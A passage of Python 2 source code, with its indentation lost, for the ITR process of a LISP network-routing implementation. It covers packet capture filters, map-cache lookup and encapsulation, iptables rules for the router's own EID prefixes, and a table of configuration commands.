lisp_raw_socket.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
if (lisp.lisp_is_raspbian() == False):
lisp_raw_v6_socket = socket.socket(socket.AF_INET6, socket.SOCK_RAW,
socket.IPPROTO_UDP)
#endif
#
# This is used by the ITR to send RTR status change information to the
# ETR. Since RLOC-probing runs inside the lisp library, when state changes
# occur, an IPC will have to be sent from the timer thread. This is the
# only use-case for lisp.lisp_ipc_socket.
#
lisp.lisp_ipc_socket = lisp_ipc_listen_socket
#
# Start map-cache timeout timer.
#
threading.Thread(target=lisp_itr_get_capture_info).start()
#
# Load map-cache from checkpoint file before we start writing to it.
#
lisp.lisp_load_checkpoint()
#
# Should we load-split pings?
#
lisp.lisp_load_split_pings = (os.getenv("LISP_LOAD_SPLIT_PINGS") != None)
#
# Start map-cache timeout timer.
#
lisp_periodic_timer = threading.Timer(60, lisp_itr_process_timer,
[lisp_send_sockets, lisp_ephem_port])
lisp_periodic_timer.start()
#
# Start dynamic-EID timeout timer.
#
threading.Timer(lisp.LISP_DEFAULT_DYN_EID_TIMEOUT,
lisp_itr_timeout_dynamic_eids, [lisp_ipc_listen_socket]).start()
return(True)
#enddef
#
# lisp_itr_count_eid_prefixes
#
# Cound the number of "prefix" sub-commands inside of each "lisp database-
# mapping" command.
#
def lisp_itr_count_eid_prefixes():
f = open("./lisp.config", "r")
within = False
count = 0
for line in f:
if (line == "lisp database-mapping {\n"): within = True
if (line == "}\n"): within = False
if (within == False): continue
if (line[0] == " " and line.find("prefix {") != -1): count += 1
#endif
f.close()
return(count)
#enddef
#
# lisp_itr_get_local_eid_prefixes
#
# Check the number of "lisp database-mapping" commands we will process. Wait
# for them to be processed and only return when all are processed.
#
# Return array of static EID-prefixes and an array of dynamic EID-prefixes.
#
def lisp_itr_get_local_eid_prefixes():
#
# Count the number of "prefix" sub-commands within a "lisp database-
# mapping" command clause in the lisp.config file.
#
count = lisp_itr_count_eid_prefixes()
#
# Does user want us to wait longer than a second to check to see if
# commands are done. If the CPU is going to be busy during startup, the
# wait-time should be made longer..
#
wait_time = os.getenv("LISP_ITR_WAIT_TIME")
wait_time = 1 if (wait_time == None) else int(wait_time)
#
# Wait for database-mapping commands to execute. We need to retrieve
# EID-prefixes we need to listen on.
#
while (count != len(lisp.lisp_db_list)):
lisp.lprint(("Waiting {} second(s) for {} database-mapping EID-" + \
"prefixes, {} processed so far ...").format(wait_time, count,
len(lisp.lisp_db_list)))
time.sleep(wait_time)
#endwhile
#
# Return each IPv4, IPv6, or MAC EIDs. These are the ones we need to
# pass to pcap.
#
sources = []
dyn_eids = []
for db in lisp.lisp_db_list:
if (db.eid.is_ipv4() or db.eid.is_ipv6() or db.eid.is_mac()):
eid_str = db.eid.print_prefix_no_iid()
if (db.dynamic_eid_configured()): dyn_eids.append(eid_str)
sources.append(eid_str)
#endif
#endfor
return(sources, dyn_eids)
#enddef
#
# lisp_itr_get_capture_info
#
# Thead to wait for database-mapping commands to finish processing so we can
# get local EID-prefixes to be source filters for packet capture.
#
def lisp_itr_get_capture_info():
global lisp_pcap_lock
lisp.lisp_set_exception()
#
# Wait for database-mapping commands to execute. We need to retrieve
# EID-prefixes we need to listen on.
#
sources, dyn_eids = lisp_itr_get_local_eid_prefixes()
#
# If "ipc-data-plane = yes" is configured, we do not need to do any
# data-plane forwarding. There is another module running with the
# lispers.net control-plane that is doing data-plane forwarding. We'll
# get punts via the lispers.net-itr named socket. But we do have to
# packet capture RLOC-probe replies. Also capture multicast Map-Register
# messages for LISP-Decent.
#
cp_pfilter = None
if (lisp.lisp_ipc_data_plane):
lisp.lprint(lisp.bold("Data-plane packet capture disabled", False))
cp_pfilter = "(udp src port 4342 and ip[28] == 0x28)" + \
" or (ip[16] >= 224 and ip[16] < 240 and (ip[28] & 0xf0) == 0x30)"
lisp.lprint("Control-plane capture: '{}'".format(cp_pfilter))
else:
lisp.lprint("Capturing packets for source-EIDs {}".format( \
lisp.green(str(sources), False)))
#endif
if (lisp.lisp_pitr): lisp.lprint("Configured for PITR functionality")
#
# We want the kernel to handle any packets with source AND destination
# that matches any EID-prefixes for the site. Any other case, we want
# the pcap filters to get the packet to this lisp-itr process.
#
l2_overlay = lisp.lisp_l2_overlay
if (l2_overlay == False):
if (lisp.lisp_is_linux()): lisp_itr_kernel_filter(sources, dyn_eids)
#endif
#
# Build packet capture filter so we get packets for configured source EID-
# prefixes.
#
if (cp_pfilter == None):
if (lisp.lisp_pitr):
pfilter = lisp_itr_build_pcap_filter(sources, [], False, True)
else:
pfilter = lisp_itr_build_pcap_filter(sources, dyn_eids, l2_overlay,
False)
#endif
else:
pfilter = cp_pfilter
#endif
#
# User can select which interfaces to pcap on.
#
interfaces = lisp_get_active_interfaces()
pcap_list = os.getenv("LISP_PCAP_LIST")
if (pcap_list == None):
us = ""
rloc_interfaces = []
else:
eid_interfaces = list(set(pcap_list.split()) & set(interfaces))
rloc_interfaces = list(set(pcap_list.split()) ^ set(interfaces))
us = "user-selected "
lisp.lprint("User pcap-list: {}, active-interfaces: {}".format( \
pcap_list, interfaces))
interfaces = eid_interfaces
#endif
#
# Start a pcap thread so we can receive packets from applications on this
# system. But make sure the device is up on A10 devices.
#
for device in interfaces:
args = [device, pfilter, lisp_pcap_lock]
lisp.lprint("Capturing packets on {}interface {}".format(us, device))
threading.Thread(target=lisp_itr_pcap_thread, args=args).start()
#endfor
if (cp_pfilter): return
#
# Start a pcap thread so we can receive RLOC-probe Map-Replies packets on
# RLOC interfaces. This is only called when LISP_PCAP_LIST is set.
#
probe_pfilter = "(udp src port 4342 and ip[28] == 0x28)"
for device in rloc_interfaces:
args = [device, probe_pfilter, lisp_pcap_lock]
lisp.lprint("Capture RLOC-probe replies on RLOC interface {}".format( \
device))
threading.Thread(target=lisp_itr_pcap_thread, args=args).start()
#endfor
return
#enddef
#
# lisp_itr_shutdown
#
# Shut down this process.
#
def lisp_itr_shutdown():
#
# Cancel periodic Info timer threads.
#
if (lisp_itr_info_timer): lisp_itr_info_timer.cancel()
#
# Close sockets.
#
lisp.lisp_close_socket(lisp_send_sockets[0], "")
lisp.lisp_close_socket(lisp_send_sockets[1], "")
lisp.lisp_close_socket(lisp_ephem_listen_socket, "")
lisp.lisp_close_socket(lisp_ephem_nat_socket, "")
lisp.lisp_close_socket(lisp_ipc_listen_socket, "lisp-itr")
lisp.lisp_close_socket(lisp_ipc_punt_socket, "lispers.net-itr")
return
#enddef
#
# lisp_itr_data_plane
#
# Do map-cache lookup and encapsulate packet.
#
def lisp_itr_data_plane(packet, device, input_interface, macs, my_sa):
global lisp_send_sockets
global lisp_ephem_port
global lisp_raw_socket, lisp_raw_v6_socket
global lisp_ipc_listen_socket
#
# Check RLOC-probe Map-Reply. We need to grab the TTL from IP header.
#
orig_packet = packet
packet, source, port, ttl = lisp.lisp_is_rloc_probe(packet, 1)
if (orig_packet != packet):
if (source == None): return
lisp.lisp_parse_packet(lisp_send_sockets, packet, source, port, ttl)
return
#endif
packet = lisp.lisp_packet(packet)
if (packet.decode(False, None, None) == None): return
#
# For locally source packets from this system, the MAC address may
# be the default router. Check source to see if assigned to this system,
# and if so, accept on interface "device".
#
if (my_sa): input_interface = device
#
# Get instance-ID for incoming interface.
#
source_eid = packet.inner_source
iid = lisp.lisp_get_interface_instance_id(input_interface, source_eid)
packet.inner_dest.instance_id = iid
packet.inner_source.instance_id = iid
#
# Print some useful header fields and strip outer headers..
#
if (macs != ""): macs = ", MACs: " + macs + ","
packet.print_packet("Receive {}{}".format(device, macs), False)
#
# Drop packet if input interface not found based on MAC address used.
#
if (device != input_interface):
lisp.dprint("Not our MAC address on interface {}, pcap interface {}". \
format(input_interface, device))
return
#endif
lisp_decent = lisp.lisp_decent_configured
if (lisp_decent):
multicast = packet.inner_dest.is_multicast_address()
local = packet.inner_source.is_local()
lisp_decent = (local and multicast)
#endif
if (lisp_decent == False):
#
# Only forward packets from source-EIDs.
#
db = lisp.lisp_db_for_lookups.lookup_cache(packet.inner_source, False)
if (db == None):
lisp.dprint("Packet received from non-EID source")
return
#endif
#
# Check to see if we are doing dynamic-EID discovery.
#
if (db.dynamic_eid_configured()):
i = lisp.lisp_allow_dynamic_eid(input_interface,
packet.inner_source)
if (i):
lisp.lisp_itr_discover_eid(db, packet.inner_source,
input_interface, i, lisp_ipc_listen_socket)
else:
e = lisp.green(packet.inner_source.print_address(), False)
lisp.dprint("Disallow dynamic-EID {} on interface {}".format(e,
input_interface))
return
#endif
#endif
if (packet.inner_source.is_local() and
packet.udp_dport == lisp.LISP_CTRL_PORT): return
#endif
#
# Do input processing for currently supported packet types..
#
if (packet.inner_version == 4):
packet.packet = lisp.lisp_ipv4_input(packet.packet)
if (packet.packet == None): return
packet.inner_ttl -= 1
elif (packet.inner_version == 6):
packet.packet = lisp.lisp_ipv6_input(packet)
if (packet.packet == None): return
packet.inner_ttl -= 1
else:
packet.packet = lisp.lisp_mac_input(packet.packet)
if (packet.packet == None): return
packet.encap_port = lisp.LISP_L2_DATA_PORT
#endif
#
# First check if destination is to any local EID-prefixes from database-
# mapping commands. In this case, we need to natively forward.
#
if (lisp_xtr_loopback == False):
db = lisp.lisp_db_for_lookups.lookup_cache(packet.inner_dest, False)
if (db and db.dynamic_eid_configured == False):
lisp.dprint(("Packet destined to local EID-prefix {}, " + \
"natively forwarding").format(db.print_eid_tuple()))
packet.send_packet(lisp_raw_socket, packet.inner_dest)
return
#endif
#endif
#
# Do map-cache lookup.
#
mc = lisp.lisp_map_cache_lookup(packet.inner_source, packet.inner_dest)
#
# If "secondary-iid" is configured, we want to check the secondary
# map-cache if a lookup miss occured in the default IID for this source
# EID-prefix. If destination EID found in secondary map-cache, use it.
# Otherwise, send Map-Request for EID in default IID.
#
secondary_iid = db.secondary_iid if (db != None) else None
if (secondary_iid and mc and mc.action == lisp.LISP_NATIVE_FORWARD_ACTION):
dest_eid = packet.inner_dest
dest_eid.instance_id = secondary_iid
mc = lisp.lisp_map_cache_lookup(packet.inner_source, dest_eid)
#endif
#
# Map-cache lookup miss.
#
if (mc == None or mc.action == lisp.LISP_SEND_MAP_REQUEST_ACTION):
if (lisp.lisp_rate_limit_map_request(packet.inner_source,
packet.inner_dest)): return
lisp.lisp_send_map_request(lisp_send_sockets, lisp_ephem_port,
packet.inner_source, packet.inner_dest, None)
return
#endif
#
# Send Map-Request to see if there is a RLOC change or to refresh an
# entry that is about to time out.
#
if (mc and mc.is_active() and mc.has_ttl_elapsed()):
lisp.lprint("Refresh map-cache entry {}".format( \
lisp.green(mc.print_eid_tuple(), False)))
lisp.lisp_send_map_request(lisp_send_sockets, lisp_ephem_port,
packet.inner_source, packet.inner_dest, None)
#endif
#
# Update stats for entry. Stats per RLOC is done in lisp_mapping.select_
# rloc().
#
mc.stats.increment(len(packet.packet))
#
# Encapsulate, native forward, or encapsulate-and-replciate packet.
#
dest_rloc, dest_port, nonce, action, rle = \
mc.select_rloc(packet, lisp_ipc_listen_socket)
if (dest_rloc == None and rle == None):
if (action == lisp.LISP_NATIVE_FORWARD_ACTION):
lisp.dprint("Natively forwarding")
packet.send_packet(lisp_raw_socket, packet.inner_dest)
return
#endif
lisp.dprint("No reachable RLOCs found")
return
#endif
if (dest_rloc and dest_rloc.is_null()):
lisp.dprint("Drop action RLOC found")
return
#endif
#
# Setup outer header for either unicast or multicast transmission..
#
packet.outer_tos = packet.inner_tos
packet.outer_ttl = packet.inner_ttl
#
# Do unicast encapsulation.
#
if (dest_rloc):
packet.outer_dest.copy_address(dest_rloc)
version = packet.outer_dest.afi_to_version()
packet.outer_version = version
source_rloc = lisp.lisp_myrlocs[0] if (version == 4) else \
lisp.lisp_myrlocs[1]
packet.outer_source.copy_address(source_rloc)
#
# Encode new LISP, UDP, and outer header.
#
if (packet.encode(nonce) == None): return
if (len(packet.packet) <= 1500): packet.print_packet("Send", True)
#
# Send out on raw socket.
#
raw_socket = lisp_raw_v6_socket if version == 6 else lisp_raw_socket
packet.send_packet(raw_socket, packet.outer_dest)
elif (rle):
#
# Do replication of RLE is returned. Since we are an ITR, replicate to
# level-0 RTRs (or ETRs) only (or first-level boxes only)..
#
level = rle.rle_nodes[0].level
orig_len = len(packet.packet)
for node in rle.rle_forwarding_list:
if (node.level != level): return
packet.outer_dest.copy_address(node.address)
if (lisp_decent): packet.inner_dest.instance_id = 0xffffff
version = packet.outer_dest.afi_to_version()
packet.outer_version = version
source_rloc = lisp.lisp_myrlocs[0] if (version == 4) else \
lisp.lisp_myrlocs[1]
packet.outer_source.copy_address(source_rloc)
if (packet.encode(None) == None): return
#
# Replicate out on raw socket.
#
packet.print_packet("Replicate-to-L{}".format(node.level), True)
packet.send_packet(lisp_raw_socket, packet.outer_dest)
#
# We need to strip the encapsulation header so we can add a new
# one for the next replication.
#
strip_len = len(packet.packet) - orig_len
packet.packet = packet.packet[strip_len::]
#endfor
#endif
#
# Don't need packet structure anymore.
#
del(packet)
return
#enddef
#
# lisp_itr_pcap_process_packet
#
# Receive LISP encapsulated packet from pcap.loop().
#
def lisp_itr_pcap_process_packet(device, not_used, packet):
# offset = 4 if device == "lo0" else (14 if lisp.lisp_is_macos() else 16)
offset = 4 if device == "lo0" else 14
if (lisp.lisp_frame_logging):
title = lisp.bold("Received frame on interface '{}'".format(device),
False)
frame = lisp.lisp_format_packet(packet[0:64])
lisp.lprint("{}: {}".format(title, frame))
#endif
#
# Get input interface based on source MAC address.
#
macs = ""
my_sa = False
interface = device
if (offset == 14):
interfaces, sa, da, my_sa = lisp.lisp_get_input_interface(packet)
interface = device if (device in interfaces) else interfaces[0]
macs = lisp.lisp_format_macs(sa, da)
if (interface.find("vlan") != -1): offset +=4
#
# If destination MAC address is multicast, set my_sa. Examine low-order
# bit of first byte by grabbing the second nibble and testing low-order
# bit after converting to integer.
#
if (int(da[1], 16) & 1): my_sa = True
#endif
#
# Check for VLAN encapsulation.
#
ethertype = struct.unpack("H", packet[offset-2:offset])[0]
ethertype = socket.ntohs(ethertype)
if (ethertype == 0x8100):
vlan = struct.unpack("I", packet[offset:offset+4])[0]
vlan = socket.ntohl(vlan)
interface = "vlan" + str(vlan >> 16)
offset += 4
elif (ethertype == 0x806):
lisp.dprint("Dropping ARP packets, host should have default route")
return
#endif
if (lisp.lisp_l2_overlay): offset = 0
lisp_itr_data_plane(packet[offset::], device, interface, macs, my_sa)
return
#enddef
#
# lisp_itr_kernel_filter
#
# Supplied 'sources' array are the EID-prefixes we want the kernel to drop
# packets for. We will use iptables for Linux and ipfw for MacOS.
#
# We need this address combination support (notation S -> D):
#
# site-EID -> remote-EID processed by ITR
# site-EID -> non-EID processed by ITR
# site-EID -> site-EID processed by kernel
# non-EID -> non-EID processed by kernel
# non-EID -> remote-EID processed by kernel
# non-EID -> site-EID processed by kernel
#
# The pcap filters reflect the ITR processing combos and can be found in
# lisp_itr_build_pcap_filter(). This routine programs iptables to do the
# kernel processing combos.
#
# (1) iptables -t raw -A lisp -j ACCEPT -d <special-addresses>
# (2) iptables -t raw -A lisp -j ACCEPT -d <local-address> ...
# (3) iptables -t raw -A lisp -j ACCEPT -s <site-eid> -d <site-eid> ...
# (4) iptables -t raw -A lisp -j DROP -s <site-eid> ...
#
# (1) and (2), we want kernel to route packets. This allows loopback and
# multicast to be processed by kernel.
#
# For (3), we want the kernel to do local routing of packets inside of a site
# in this ITR.
#
# For (4), we want kernel to not touch any packets sourced from locally
# configured EIDs. That is each EID-prefix from a "lisp database-mapping"
# command. Because those EID-prefixes are pcap'ed and process by the lisp-itr
# process.
#
def lisp_itr_kernel_filter(sources, dyn_eids):
if (os.getenv("LISP_NO_IPTABLES") != None):
lisp.lprint("User selected to suppress installing iptables rules")
return
#endif
os.system("sudo iptables -t raw -N lisp")
os.system("sudo iptables -t raw -A PREROUTING -j lisp")
os.system("sudo ip6tables -t raw -N lisp")
os.system("sudo ip6tables -t raw -A PREROUTING -j lisp")
#
# Have kernel process packets for local addresses when sourced from site
# EIDs. We do not want the lisp-itr process to process such packets.
# We want the kernel to deliver packets to and from local applications.
# And we want the kernel to forward decapsulated packets out interfaces
# leading the EIDs.
#
add = "sudo ip{}tables -t raw -A lisp -j ACCEPT -d {}"
addr_set = ["127.0.0.1", "::1", "224.0.0.0/4 -p igmp", "ff00::/8",
"fe80::/16"]
addr_set += sources + lisp.lisp_get_all_addresses()
for addr in addr_set:
six = "" if addr.find(":") == -1 else "6"
os.system(add.format(six, addr))
#endfor
#
# When source and destination addresses are EIDs for this LISP site,
# we want the kernel to do local routing. But as a PITR, we don't want
# the kernel to route everything (EID-prefix 0.0.0.0/0) or we can't have
# this process encapsulate for any source address to a destination EID.
#
if (lisp.lisp_pitr == False):
add = "sudo ip{}tables -t raw -A lisp -j ACCEPT -s {} -d {}"
check = "sudo ip{}tables -t raw -C lisp -j ACCEPT -s {} -d {}"
for source in sources:
if (source in dyn_eids): continue
six = "" if source.find(":") == -1 else "6"
for s in sources:
if (s in dyn_eids): continue
if (s.find(".") != -1 and source.find(".") == -1): continue
if (s.find(":") != -1 and source.find(":") == -1): continue
if (commands.getoutput(check.format(six, source, s)) == ""):
continue
#endif
os.system(add.format(six, source, s))
#endfor
#endfor
#endif
#
# Now put in drop rules for each "lisp database-mapping" EID-prefix.
#
drop = "sudo ip{}tables -t raw -A lisp -j DROP -s {}"
for source in sources:
six = "" if source.find(":") == -1 else "6"
os.system(drop.format(six, source))
#endif
#
# Print out rules we just configured.
#
rules = commands.getoutput("sudo iptables -t raw -S lisp").split("\n")
rules += commands.getoutput("sudo ip6tables -t raw -S lisp").split("\n")
lisp.lprint("Using kernel filters: {}".format(rules))
#
# Check if we need to put in a iptables rule workaround for the virtio TCP
# checksum corruption problem for KVM guest OSes. Check environmnt
# variable LISP_VIRTIO_BUG.
#
# Note a debian host system that runs docker will need the following
# command so ip6tables works inside of the docker container:
#
# sudo modprobe ip6table_filter
#
if (os.getenv("LISP_VIRTIO_BUG") != None):
c = ("sudo iptables -A POSTROUTING -t mangle -p tcp -j " + \
"CHECKSUM --checksum-fill; ")
c += ("sudo iptables -A POSTROUTING -t mangle -p udp -j " + \
"CHECKSUM --checksum-fill; ")
c += ("sudo ip6tables -A POSTROUTING -t mangle -p tcp -j " + \
"CHECKSUM --checksum-fill; ")
c += ("sudo ip6tables -A POSTROUTING -t mangle -p udp -j " + \
"CHECKSUM --checksum-fill")
os.system(c)
virtio = lisp.bold("virtio", False)
lisp.lprint("{} bug workaround, configure '{}'".format(virtio, c))
#endif
return
#enddef
#
# lisp_itr_build_pcap_filter
#
# Build pcap filter and return string to caller.
#
def lisp_itr_build_pcap_filter(sources, dyn_eids, l2_overlay, pitr):
if (l2_overlay):
pfilter = "ether[6:4] >= 0 and ether[10:2] >= 0"
lisp.lprint("Using pcap filter: '{}'".format(pfilter))
return(pfilter)
#endif
ether_pfilter = "(not ether proto 0x806)"
probe_pfilter = " or (udp src port 4342 and ip[28] == 0x28)"
decent_pfilter = \
" or (ip[16] >= 224 and ip[16] < 240 and (ip[28] & 0xf0) == 0x30)"
src_pfilter = ""
dst_pfilter = ""
for source in sources:
src_pfilter += "{}".format(source)
if (source not in dyn_eids): dst_pfilter += "{}".format(source)
if (sources[-1] == source): break
src_pfilter += " or "
if (source not in dyn_eids): dst_pfilter += " or "
#endfor
if (dst_pfilter[-4::] == " or "): dst_pfilter = dst_pfilter[0:-4]
#
# If "lisp-nat = yes" is configured, then we are a PETR and we need
# to accept packets for local EIDs (assigned to loopback interfaces).
# So allow the first one to be accepted.
#
lisp_nat = commands.getoutput("egrep 'lisp-nat = yes' ./lisp.config")
lisp_nat = (lisp_nat != "" and lisp_nat[0] == " ")
loopback = lisp.lisp_get_loopback_address() if (lisp_nat) else None
addr_pfilter = ""
addresses = lisp.lisp_get_all_addresses()
for addr in addresses:
if (addr == loopback): continue
addr_pfilter += "{}".format(addr)
if (addresses[-1] == addr): break
addr_pfilter += " or "
#endif
if (src_pfilter != ""):
src_pfilter = " and (src net {})".format(src_pfilter)
#endif
if (dst_pfilter != ""):
dst_pfilter = " and not (dst net {})".format(dst_pfilter)
#endif
if (addr_pfilter != ""):
addr_pfilter = " and not (dst host {})".format(addr_pfilter)
#endif
#
# A PITR wants to see packets from anywhere so it can encap to possible
# LISP sites. But we want the kernel to route and consume for RLOCs for
# this system.
#
if (pitr):
dst_pfilter = ""
addr_pfilter = addr_pfilter.replace("dst ", "")
#endif
#
# Concatenate all the filters.
#
pfilter = ether_pfilter + src_pfilter + dst_pfilter + addr_pfilter
pfilter += probe_pfilter
pfilter += decent_pfilter
lisp.lprint("Using pcap filter: '{}'".format(pfilter))
return(pfilter)
#enddef
#
# lisp_itr_pcap_thread
#
# Receive LISP encapsulated packet from pcap.
#
def lisp_itr_pcap_thread(device, pfilter, pcap_lock):
lisp.lisp_set_exception()
pcap_lock.acquire()
pcap = pcappy.open_live(device, 9000, 0, 100)
pcap_lock.release()
pcap.filter = pfilter
pcap.loop(-1, lisp_itr_pcap_process_packet, device)
return
#enddef
#
# lisp_itr_process_info_timer
#
# Time to send a periodic Info-Request message. This must be done less often
# then sending periodic Map-Registers as well as less the the NAT timeout
# value which is usually one minute.
#
def lisp_itr_process_info_timer():
global lisp_itr_info_timer
global lisp_ephem_nat_socket
global lisp_send_sockets
lisp.lisp_set_exception()
#
# Build Info-Request messages if we have any private RLOCs in database-
# mappings.
#
sockets = [lisp_ephem_nat_socket, lisp_ephem_nat_socket,
lisp_ipc_listen_socket]
lisp.lisp_build_info_requests(sockets, None, lisp.LISP_CTRL_PORT)
#
# Restart periodic timer.
#
lisp_itr_info_timer.cancel()
lisp_itr_info_timer = threading.Timer(lisp.LISP_INFO_INTERVAL,
lisp_itr_process_info_timer, [])
lisp_itr_info_timer.start()
return
#enddef
#
# lisp_itr_map_resolver_command
#
# Call lispconfig.lisp_map_resolver_command and set "test-mr" timer.
#
def lisp_itr_map_resolver_command(kv_pair):
global lisp_send_sockets
global lisp_ephem_port
global lisp_itr_info_timer
lispconfig.lisp_map_resolver_command(kv_pair)
if (lisp.lisp_test_mr_timer == None or
lisp.lisp_test_mr_timer.is_alive() == False):
lisp.lisp_test_mr_timer = threading.Timer(2, lisp.lisp_test_mr,
[lisp_send_sockets, lisp_ephem_port])
lisp.lisp_test_mr_timer.start()
#endif
#
# Trigger a Info-Request if we are doing NAT-traversal.
#
lisp_itr_info_timer = threading.Timer(0, lisp_itr_process_info_timer, [])
lisp_itr_info_timer.start()
return
#enddef
#
# lisp_itr_database_mapping_command
#
# Add database-mapping entry so ITR can packet capture on packets only from
# sources from the *first* database-mapping configured.
#
def lisp_itr_database_mapping_command(kv_pair):
lispconfig.lisp_database_mapping_command(kv_pair)
return
#enddef
#
# lisp_itr_xtr_command
#
# Call lispconfig.lisp_xtr_command() but pass socket parameters to starting
# the RLOC-probing timer if "rloc-probing = yes".
#
def lisp_itr_xtr_command(kv_pair):
global lisp_ephem_listen_socket
#
# Cache current state for nat-traversal and rloc-probing so we know if
# we should trigger..
#
nat_traversal = lisp.lisp_nat_traversal
rloc_probing = lisp.lisp_rloc_probing
#
# Execute command.
#
lispconfig.lisp_xtr_command(kv_pair)
#
# Did "nat-traversal = yes" or "rloc-probing = yes" just happen?
#
nat_now_on = (nat_traversal == False and lisp.lisp_nat_traversal and \
lisp.lisp_rloc_probing)
rloc_probing_now_on = (rloc_probing == False and lisp.lisp_rloc_probing)
interval = 0
if (rloc_probing_now_on): interval = 1
if (nat_now_on): interval = 5
if (interval != 0):
lisp_sockets = [lisp_ephem_listen_socket, lisp_ephem_listen_socket]
lisp.lisp_start_rloc_probe_timer(interval, lisp_sockets)
#endif
#
# If nat-traversal=yes and data-plane-security=yes on an ITR, then we
# need to set source port in RLOC-probe requrests and encapsulated data
# packets to be the same value.
#
if (lisp.lisp_crypto_ephem_port == None and lisp.lisp_data_plane_security):
port = lisp_ephem_listen_socket.getsockname()[1]
lisp.lisp_crypto_ephem_port = port
lisp.lprint("Use port {} for lisp-crypto packets".format(port))
entry = { "type" : "itr-crypto-port", "port" : port }
lisp.lisp_write_to_dp_socket(entry)
#endif
#
# Write to external data-plane if enabled.
#
lisp.lisp_ipc_write_xtr_parameters(lisp.lisp_debug_logging,
lisp.lisp_data_plane_logging)
return
#enddef
#
# lisp_itr_process_nonce_ipc
#
# Process an nonce IPC message from the ETR. It wants to tell us that a
# request-nonce was received and we need to echo it or when this ITR requested
# a nonce to be echoed, the ETR is telling us it has been echoed.
#
def lisp_itr_process_nonce_ipc(ipc):
x, opcode, rloc_str, nonce = ipc.split("%")
nonce = int(nonce, 16)
echo_nonce = lisp.lisp_get_echo_nonce(None, rloc_str)
if (echo_nonce == None): echo_nonce = lisp.lisp_echo_nonce(rloc_str)
#
# If we are in request-nonce mode, exit it, so we can echo the nonce the
# other side is requesting.
#
if (opcode == "R"):
echo_nonce.request_nonce_rcvd = nonce
echo_nonce.last_request_nonce_rcvd = lisp.lisp_get_timestamp()
echo_nonce.echo_nonce_sent = nonce
echo_nonce.last_new_echo_nonce_sent = lisp.lisp_get_timestamp()
lisp.lprint("Start echo-nonce mode for {}, nonce 0x{}".format( \
lisp.red(echo_nonce.rloc_str, False), lisp.lisp_hex_string(nonce)))
#endif
if (opcode == "E"):
echo_nonce.echo_nonce_rcvd = nonce
echo_nonce.last_echo_nonce_rcvd = lisp.lisp_get_timestamp()
if (echo_nonce.request_nonce_sent == nonce):
en = lisp.bold("echoed nonce", False)
lisp.lprint("Received {} {} from {}".format(en,
lisp.lisp_hex_string(nonce),
lisp.red(echo_nonce.rloc_str, False)))
echo_nonce.request_nonce_sent = None
lisp.lprint("Stop request-nonce mode for {}".format( \
lisp.red(echo_nonce.rloc_str, False)))
echo_nonce.last_good_echo_nonce_rcvd = lisp.lisp_get_timestamp()
else:
rns = "none"
if (echo_nonce.request_nonce_sent):
rns = lisp.lisp_hex_string(echo_nonce.request_nonce_sent)
#endif
lisp.lprint(("Received echo-nonce 0x{} from {}, but request-" + \
"nonce is {}").format(lisp.lisp_hex_string(nonce),
lisp.red(echo_nonce.rloc_str, False), rns))
#endif
#endif
return
#enddef
#
# ITR commands procssed by this process.
#
lisp_itr_commands = {
"lisp xtr-parameters" : [lisp_itr_xtr_command, {
"rloc-probing" : [True, "yes", "no"],
"nonce-echoing" : [True, "yes", "no"],
"data-plane-security" : [True, "yes", "no"],
"data-plane-logging" : [True, "yes", "no"],
"frame-logging" : [True, "yes", "no"],
"flow-logging" : [True, "yes", "no"],
"nat-traversal" : [True, "yes", "no"],
"checkpoint-map-cache" : [True, "yes", "no"],
"ipc-data-plane" : [True, "yes", "no"],
"decentralized-xtr" : [True, "yes", "no"],
"register-reachable-rtrs" : [True, "yes", "no"],
"program-hardware" : [True, "yes", "no"] }],
"lisp interface" : [lispconfig.lisp_interface_command, {
"interface-name" : [True],
"device" : [True],
"instance-id" : [True, 0, 0xffffffff],
"dynamic-eid" : [True],
"multi-tenant-eid" : [True],
"lisp-nat" : [True, "yes", "no"],
"dynamic-eid-device" : [True],
"dynamic-eid-timeout" : [True, 0, 0xff] }],
"lisp map-resolver" : [lisp_itr_map_resolver_command, {
"mr-name" : [True],
"ms-name" : [True],
"dns-name" : [True],
"address" : [True] }],
"lisp database-mapping" : [lisp_itr_database_mapping_command, {
"prefix" : [],
"mr-name" : [True],
"ms-name" : [True],
"instance-id" : [True, 0, 0xffffffff],
"secondary-instance-id" : [True, 0, 0xffffffff],
"eid-prefix" : [True],
"group-prefix" : [True],
"dynamic-eid" : [True, "yes", "no"],
"signature-eid" : [True, "yes", "no"],
"rloc" : [],
"rloc-record-name" : [True],
"elp-name" : [True],
"geo-name" : [True],
"rle-name" : [True],
"json-name" : [True],
"address" : [True],
"interface" : [True],
"priority" : [True, 0, 255],
"weight" : [True, 0, 100] }],
"lisp map-cache" : [lispconfig.lisp_map_cache_command, {
"prefix" : [],
"instance-id" : [True, 0, 0xffffffff],
"eid-prefix" : [True],
"group-prefix" : [True],
"send-map-request" : [True, "yes", "no"],
"rloc" : [],
"rloc-record-name" : [True],
"rle-name" : [True],
"elp-name" : [True],
"address" : [True],
"priority" : [True, 0, 255],
"weight" : [True, 0, 100] }],
"lisp itr-map-cache" : [lispconfig.lisp_map_cache_command, {
"prefix" : [],
"instance-id" : [True, 0, 0xffffffff],
"eid-prefix" : [True],
"group-prefix" : [True],
"rloc" : [],
"rloc-record-name" : [True],
"rle-name" : [True],
"elp-name" : [True],
"address" : [True],
"priority" : [True, 0, 255],
"weight" : [True, 0, 100] }],
"lisp explicit-locator-path" : [lispconfig.lisp_elp_command, {
"elp-name" : [False],
"elp-node" : [],
"address" : [True],
"probe" : [True, "yes", "no"],
"strict" : [True, "yes", "no"],
"eid" : [True, "yes", "no"] }],
"lisp replication-list-entry" : [lispconfig.lisp_rle_command, {
"rle-name" : [False],
"rle-node" : [],
"address" : [True],
"level" : [True, 0, 255] }],
"lisp geo-coordinates" : [lispconfig.lisp_geo_command, {
"geo-name" : [False],
"geo-tag" : [False] }],
"show itr-map-cache" : [lisp_itr_show_command, { }],
"show itr-rloc-probing" : [lisp_itr_show_rloc_probe_command, { }],
"show itr-keys" : [lisp_itr_show_keys_command, {}],
"show itr-dynamic-eid" : [lispconfig.lisp_show_dynamic_eid_command, { }]
}
#------------------------------------------------------------------------------
#
# Main entry point for process.
#
if (lisp_itr_startup() == False):
lisp.lprint("lisp_itr_startup() failed")
lisp.lisp_print_banner("ITR abnormal exit")
exit(1)
#endif
socket_list = [lisp_ephem_listen_socket, lisp_ipc_listen_socket,
lisp_ephem_nat_socket, lisp_ipc_punt_socket]
#
# Should we listen to the map-cache/punt IPC socket if it exists.
#
listen_on_ipc_socket = True
ephem_sockets = [lisp_ephem_listen_socket] * 3
